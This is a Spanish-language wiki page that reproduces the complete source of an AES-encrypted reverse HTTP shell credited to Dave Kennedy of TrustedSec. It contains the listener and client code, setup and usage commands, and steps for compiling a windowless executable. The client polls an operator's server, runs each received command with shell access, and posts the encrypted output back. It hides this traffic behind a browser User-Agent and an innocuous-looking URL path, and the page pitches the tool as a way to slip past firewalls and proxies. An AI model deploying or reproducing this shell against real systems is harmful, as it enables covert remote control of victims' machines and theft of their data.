===== Shell reversa HTTP con cifrado AES en python 2.X (Clientes para Windows y Unix) =====
Shell para realizar conexiones reversas contra un servidor utilizando cifrado AES bajo el protocolo HTTP. El contenido de los parámetros enviados (resultado de los comandos) se encuentran cifrados y son enviados mediante métodos POST. Al utilizar HTTP para el diálogo permite esquivar posibles proxys / firewalls que filtren por protocolo además de puerto.
**Fuente** (trustedsec): [[https://www.trustedsec.com/downloads/tools-download/]]\\
**Autor**: Dave Kennedy (ReL1K).\\
**Descargar**: [[https://www.trustedsec.com/files/encrypted_http_shell.zip|Mirror 1]] | {{:encrypted_http_shell.zip|Mirror 2}}
**Dependencia para el servidor**: python-crypto.
**Especificaciones**:
* Servidor: python
* Cliente: python / exe (py2exe)
* Cifrado: AES
* Funcionalidad de utilizar proxy en el lado cliente.
* Al utilizar http evitaría posibles proxy o firewall que filtren por puerto + protocolo.
**Cambiar el puerto del servidor** (por defecto el 80).
server = HTTPServer(('', 80), GetHandler)
**Cambiar la clave de cifrado en ambo ficheros** (Cliente y servidor deben tener la misma clave).
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
**Utilizar proxy en el cliente**.
# TURN THIS ON IF YOU WANT PROXY SUPPORT
PROXY_SUPPORT = "ON"
# THIS WILL BE THE PROXY URL
PROXY_URL = "http://proxyinfo:80"
# USERNAME FOR THE PROXY
USERNAME = "username"
# PASSWORD FOR THE PROXY
PASSWORD = "password"
Modificar el nombre del parámetro que se envía al servidor mediante método POST.
url=url.replace("cmd=", "")
**Forma de uso**.
# Cliente
python shell.py 192.168.178.63 80
# Servidor (Dirección IP: 192.168.178.63 Puerto: 80).
python server.py
Código fuente del script para hacer de servidor.
#!/usr/bin/python
############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
# Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
#
############################################
# Copyright 2012 TrustedSec, LLC. All rights reserved.
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer
import urlparse
import re
import os
import base64
from Crypto.Cipher import AES
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# 32 character secret key - change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
# create a cipher object using the random secret
cipher = AES.new(secret)
# url decode for postbacks
def htc(m):
return chr(int(m.group(1),16))
# url decode
def urldecode(url):
rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M)
return rex.sub(htc,url)
class GetHandler(BaseHTTPRequestHandler):
# handle get request
def do_GET(self):
# this will be our shell command
message = raw_input("shell> ")
# send a 200 OK response
self.send_response(200)
# end headers
self.end_headers()
# encrypt the message
message = EncodeAES(cipher, message)
# base64 it
message = base64.b64encode(message)
# write our command shell param to victim
self.wfile.write(message)
# return out
return
# handle post request
def do_POST(self):
# send a 200 OK response
self.send_response(200)
# # end headers
self.end_headers()
# grab the length of the POST data
length = int(self.headers.getheader('content-length'))
# read in the length of the POST data
qs = self.rfile.read(length)
# url decode
url=urldecode(qs)
# remove the parameter cmd
url=url.replace("cmd=", "")
# base64 decode
message = base64.b64decode(url)
# decrypt the string
message = DecodeAES(cipher, message)
# display the command back decrypted
print message
if __name__ == '__main__':
# bind to all interfaces
server = HTTPServer(('', 80), GetHandler)
print """############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
# Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
#
############################################"""
print 'Starting encrypted web shell server, use to stop'
# simple try block
try:
# serve and listen forever
server.serve_forever()
# handle keyboard interrupts
except KeyboardInterrupt:
print "[!] Exiting the encrypted webserver shell.. hack the gibson."
Código fuente del script para hacer de cliente.
#!/usr/bin/python
##########################################################################################################################
#
#
# AES Encrypted Reverse HTTP Shell by:
#
# Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
##########################################################################################################################
#
##########################################################################################################################
#
# To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules
# to make it easier. Can download from here:
# http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip
#
##########################################################################################################################
#
# This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc.
#
##########################################################################################################################
#
##########################################################################################################################
#
# Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction
# so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary.
#
##########################################################################################################################
#
# export VERSIONER_PYTHON_PREFER_32_BIT=yes
# python Configure.py
# python Makespec.py --onefile --noconsole shell.py
# python Build.py shell/shell.spec
#
###########################################################################################################################
# Copyright 2012 TrustedSec, LLC. All rights reserved.
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
import urllib
import urllib2
import httplib
import subprocess
import sys
import base64
import os
from Crypto.Cipher import AES
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# secret key, change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
# create a cipher object using the random secret
cipher = AES.new(secret)
# TURN THIS ON IF YOU WANT PROXY SUPPORT
PROXY_SUPPORT = "OFF"
# THIS WILL BE THE PROXY URL
PROXY_URL = "http://proxyinfo:80"
# USERNAME FOR THE PROXY
USERNAME = "username"
# PASSWORD FOR THE PROXY
PASSWORD = "password"
# here is where we set all of our proxy settings
if PROXY_SUPPORT == "ON":
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(realm='RESTRICTED ACCESS',
uri=PROXY_URL, # PROXY SPECIFIED ABOVE
user=USERNAME, # USERNAME SPECIFIED ABOVE
passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
try:
# our reverse listener ip address
address = sys.argv[1]
# our reverse listener port address
port = sys.argv[2]
# except that we didn't pass parameters
except IndexError:
print " \nAES Encrypted Reverse HTTP Shell by:"
print " Dave Kennedy (ReL1K)"
print " http://www.secmaniac.com"
print "Usage: shell.exe "
sys.exit()
# loop forever
while 1:
# open up our request handelr
req = urllib2.Request('http://%s:%s' % (address,port))
# grab our response which contains what command we want
message = urllib2.urlopen(req)
# base64 unencode
message = base64.b64decode(message.read())
# decrypt the communications
message = DecodeAES(cipher, message)
# quit out if we receive that command
if message == "quit" or message == "exit":
sys.exit()
# issue the shell command we want
proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# read out the data of stdout
data = proc.stdout.read() + proc.stderr.read()
# encrypt the data
data = EncodeAES(cipher, data)
# base64 encode the data
data = base64.b64encode(data)
# urlencode the data from stdout
data = urllib.urlencode({'cmd': '%s'}) % (data)
# who we want to connect back to with the shell
h = httplib.HTTPConnection('%s:%s' % (address,port))
# set our basic headers
headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
# actually post the data
h.request('POST', '/index.aspx', data, headers)